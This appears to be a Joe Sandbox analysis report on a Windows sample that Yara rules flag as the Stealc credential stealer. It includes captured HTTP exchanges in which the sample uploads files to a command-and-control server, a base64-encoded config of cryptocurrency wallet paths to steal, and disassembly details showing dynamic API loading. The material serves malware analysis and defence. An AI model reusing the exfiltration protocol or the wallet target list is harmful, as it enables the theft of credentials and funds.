Oct 13, 2024 11:54:17.293292046 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:17 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 13, 2024 11:54:17.295933962 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKEHJEGCFBFHJJKJEHD Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="message"files------FBKEHJEGCFBFHJJKJEHD--
Oct 13, 2024 11:54:17.526959896 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 11:54:17.551592112 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCBGDGCAAKJEBFIDBAAA Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="file"------HCBGDGCAAKJEBFIDBAAA--
Oct 13, 2024 11:54:18.276051998 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 11:54:18.303262949 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHJJDHJEGHJKECBGCFH Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 2d 2d 0d 0a Data Ascii: ------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="message"ybncbhylepme------KFHJJDHJEGHJKECBGCFH--
Oct 13, 2024 11:54:18.551479101 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:18 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 4676 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6f 66 66 69 63 65 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 [TRUNCATED] Data Ascii: .pl<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>.ar<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>*.br<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.offi
Oct 13, 2024 11:54:18.553352118 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCBGDGCAAKJEBFIDBAAA Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 2d 2d 0d 0a Data Ascii: ------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HCBGDGCAAKJEBFIDBAAA--
Oct 13, 2024 11:54:19.280342102 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	05:53:58
Start date:	13/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x5b0000
File size:	1'845'760 bytes
MD5 hash:	069E71A1A16AFA1E104BE5FBB7BAF6B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1705858455.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1933172412.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1933172412.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	23.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	28

Executed Functions

Function 005C9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00C73048), ref: 005C98A1
GetProcAddress.KERNEL32(74DD0000,00C73258), ref: 005C98BA
GetProcAddress.KERNEL32(74DD0000,00C732B8), ref: 005C98D2
GetProcAddress.KERNEL32(74DD0000,00C732D0), ref: 005C98EA
GetProcAddress.KERNEL32(74DD0000,00C731E0), ref: 005C9903
GetProcAddress.KERNEL32(74DD0000,00C79F78), ref: 005C991B
GetProcAddress.KERNEL32(74DD0000,00C65910), ref: 005C9933
GetProcAddress.KERNEL32(74DD0000,00C65890), ref: 005C994C
GetProcAddress.KERNEL32(74DD0000,00C73000), ref: 005C9964
GetProcAddress.KERNEL32(74DD0000,00C730F0), ref: 005C997C
GetProcAddress.KERNEL32(74DD0000,00C731F8), ref: 005C9995
GetProcAddress.KERNEL32(74DD0000,00C73120), ref: 005C99AD
GetProcAddress.KERNEL32(74DD0000,00C65750), ref: 005C99C5
GetProcAddress.KERNEL32(74DD0000,00C73030), ref: 005C99DE
GetProcAddress.KERNEL32(74DD0000,00C73060), ref: 005C99F6
GetProcAddress.KERNEL32(74DD0000,00C65A70), ref: 005C9A0E
GetProcAddress.KERNEL32(74DD0000,00C73090), ref: 005C9A27
GetProcAddress.KERNEL32(74DD0000,00C73108), ref: 005C9A3F
GetProcAddress.KERNEL32(74DD0000,00C659F0), ref: 005C9A57
GetProcAddress.KERNEL32(74DD0000,00C73138), ref: 005C9A70
GetProcAddress.KERNEL32(74DD0000,00C656D0), ref: 005C9A88
LoadLibraryA.KERNEL32(00C73300,?,005C6A00), ref: 005C9A9A
LoadLibraryA.KERNEL32(00C73360,?,005C6A00), ref: 005C9AAB
LoadLibraryA.KERNEL32(00C733A8,?,005C6A00), ref: 005C9ABD
LoadLibraryA.KERNEL32(00C732E8,?,005C6A00), ref: 005C9ACF
LoadLibraryA.KERNEL32(00C73318,?,005C6A00), ref: 005C9AE0
GetProcAddress.KERNEL32(75A70000,00C73330), ref: 005C9B02
GetProcAddress.KERNEL32(75290000,00C73348), ref: 005C9B23
GetProcAddress.KERNEL32(75290000,00C73378), ref: 005C9B3B
GetProcAddress.KERNEL32(75BD0000,00C73390), ref: 005C9B5D
GetProcAddress.KERNEL32(75450000,00C658D0), ref: 005C9B7E
GetProcAddress.KERNEL32(76E90000,00C7A048), ref: 005C9B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 005C9BB6

Strings

NtQueryInformationProcess, xrefs: 005C9BAA

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: dfd489cd6047d1c7890528c650ad4787f8da9ba9f0f4231cc4d29e840cbf861f
Instruction ID: a51444425c4776f92b86af1d12826a2d7ad7479d14e5ef508f7bdcb761416090
Opcode Fuzzy Hash: dfd489cd6047d1c7890528c650ad4787f8da9ba9f0f4231cc4d29e840cbf861f
Instruction Fuzzy Hash: B6A157F5600241BFD345EFA9ED88E763BF9F798381704C51AA60DC3224D67DA841CB6A

Function 005B45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 005B460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 005B479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005B466D

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
